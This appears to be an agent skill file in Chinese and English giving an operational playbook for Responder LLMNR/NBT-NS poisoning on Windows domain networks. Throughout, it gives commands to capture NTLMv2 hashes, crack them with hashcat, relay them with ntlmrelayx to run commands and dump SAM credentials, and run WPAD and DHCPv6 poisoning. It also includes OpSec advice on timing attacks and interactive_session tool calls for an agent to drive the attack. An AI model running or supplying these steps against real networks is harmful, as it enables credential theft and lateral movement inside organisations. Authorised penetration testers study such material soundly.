responder-poison

Responder LLMNR/NBT-NS poisoning

Responder exploits a design feature of Windows name resolution—when a DNS query fails, Windows asks via LLMNR/NBT-NS broadcast, and Responder forges a response so the target sends you its NTLMv2 hash.Just wait passively to obtain credentials, no active attack needed.

Project address:https://github.com/lgandx/Responder

How it works

Windows name resolution chain(Responder exploits steps 4-6):

1. 本地 hosts 文件
2. DNS 缓存
3. DNS 服务器查询
4. LLMNR (UDP 5355) — 链路本地多播
5. NBT-NS (UDP 137) — NetBIOS 广播
6. mDNS  (UDP 5353) — 多播 DNS
↓ DNS 查不到时，Windows 自动走 4-6 步广播/多播
↓ Responder 伪造 4-6 步的响应 → 目标发送 NTLMv2 认证

1. 目标访问不存在的共享 \\FILESERVER\share
2. DNS 查不到 FILESERVER
3. Windows 通过 LLMNR/NBT-NS 广播 "谁是 FILESERVER？"
4. Responder 响应 "我是！"
5. 目标向 Responder 发送 NTLMv2 认证
6. Responder 记录哈希

Common trigger scenarios:

Type	Scenario	Description
Passive	Typo	User enters the wrong server name
Passive	Expired shortcut	.lnk pointing to a decommissioned server
Passive	Misconfiguration	Invalid hostname in application configuration
Passive	WPAD	Browser automatic proxy discovery
Active	.lnk/.scf file	Placed in a shared directory to trigger NTLM
Active	RPC forced authentication	PetitPotam/PrinterBug

Basic usage

# 启动 Responder（监听指定网卡）
responder -I eth0

# 详细模式（推荐）
responder -I eth0 -wv

# -w: 启用 WPAD 代理（捕获更多 HTTP 流量的哈希）
# -v: 详细输出
# -d: 启用 DHCP 投毒（DHCPv6 场景）
# -P: 强制 NTLM 认证代理（ProxyAuth）

# 只监听不投毒（分析模式，推荐先跑这个确认环境）
responder -I eth0 -A

Captured hashes

Hashes captured by Responder are saved in the log directory:

# 默认路径
ls /usr/share/responder/logs/
# 或
ls /opt/Responder/logs/

# 哈希格式（NTLMv2）：
# user::DOMAIN:challenge:response:blob
# 可直接喂给 hashcat -m 5600

# NTLMv1 哈希（旧系统/降级攻击）：hashcat -m 5500

Responder database: Responder records already captured hashes to avoid duplicates; clear it when recapturing:

# 数据库位置
ls /usr/share/responder/Responder.db
# 或 /opt/Responder/Responder.db

# 清理数据库（重新捕获所有哈希）
rm /usr/share/responder/Responder.db

Cracking with hashcat

# 提取所有抓到的 NTLMv2 哈希
cat /usr/share/responder/logs/*.txt | sort -u > ntlmv2_hashes.txt

# hashcat 离线破解
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt

# -O 优化模式（截断密码长度换速度）
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt -O

Relaying with ntlmrelayx

RelayMore powerful than cracking—no need to know the plaintext password, just forward authentication directly to other targets:

# 终端 1：Responder 关闭 SMB 和 HTTP（让 ntlmrelayx 处理）
# 编辑配置文件:
# /etc/responder/Responder.conf 或 /opt/Responder/Responder.conf
# [Responder Core]
# SMB = Off
# HTTP = Off
responder -I eth0 -wv

# 终端 2：ntlmrelayx 中继到目标
ntlmrelayx.py -t smb://10.0.0.5 -smb2support

# 中继到多个目标
ntlmrelayx.py -tf targets.txt -smb2support

# 中继并执行命令
ntlmrelayx.py -t smb://10.0.0.5 -c "whoami" -smb2support

# 中继并导出凭据
ntlmrelayx.py -t smb://10.0.0.5 -smb2support --sam

WPAD attack

# 启用 WPAD（自动代理发现）
responder -I eth0 -wv

# WPAD 攻击流程：
# 1. 浏览器广播 "谁是 wpad.corp.local？"
# 2. Responder 响应 "我是！"
# 3. 浏览器请求 /wpad.dat 代理配置
# 4. Responder 返回代理到自身的 PAC 文件
# 5. 浏览器所有 HTTP 流量经过 Responder 代理
# 6. 代理要求 NTLM 认证 → 捕获哈希

DHCPv6 poisoning

# Windows 默认优先 IPv6 → Responder 做 DHCPv6 服务器注入攻击者 DNS
responder -I eth0 -dv

# 配合 mitm6（更强的 IPv6 DNS 投毒）
mitm6 -d corp.local -i eth0
# 另一终端: ntlmrelayx.py -t ldaps://DC_IP -wh attacker.corp.local

OpSec considerations

Run analysis mode first responder -A Confirm the environment has LLMNR/NBT-NS traffic
Limit poisoning scope: Operate only on the target subnet, avoid large-scale poisoning
Poison during business hours: Higher trigger probability when users are active
Detection indicators: Abnormal LLMNR/NBT-NS responses, authentication requests from unknown IPs, large numbers of authentication failures
Responder.db management: Check regularly to avoid missing new hashes from duplicate users

Run with interactive_session

Responder needs continuous listening, suitable for interactive_session:

# 启动 Responder
interactive_session(action="start", session_name="responder", command="responder -I eth0 -wv")

# 检查是否抓到哈希
interactive_session(action="read", session_name="responder", wait=5)

# 查看日志文件
interactive_session(action="send", session_name="responder_check", command="ls /usr/share/responder/logs/")

Decision tree

在域网络中获取凭据：
├─ 被动等待（安全、隐蔽）→ Responder 投毒
├─ 抓到 NTLMv2 哈希后：
│   ├─ 想知道明文密码 → hashcat -m 5600 离线破解
│   └─ 不需要明文、直接利用 → ntlmrelayx 中继
├─ 目标 SMB 签名未启用 → ntlmrelayx 中继（最有效）
├─ 目标 SMB 签名已启用 → 只能破解哈希
└─ 需要主动触发 → 通过漏洞让目标访问 \\ATTACKER\share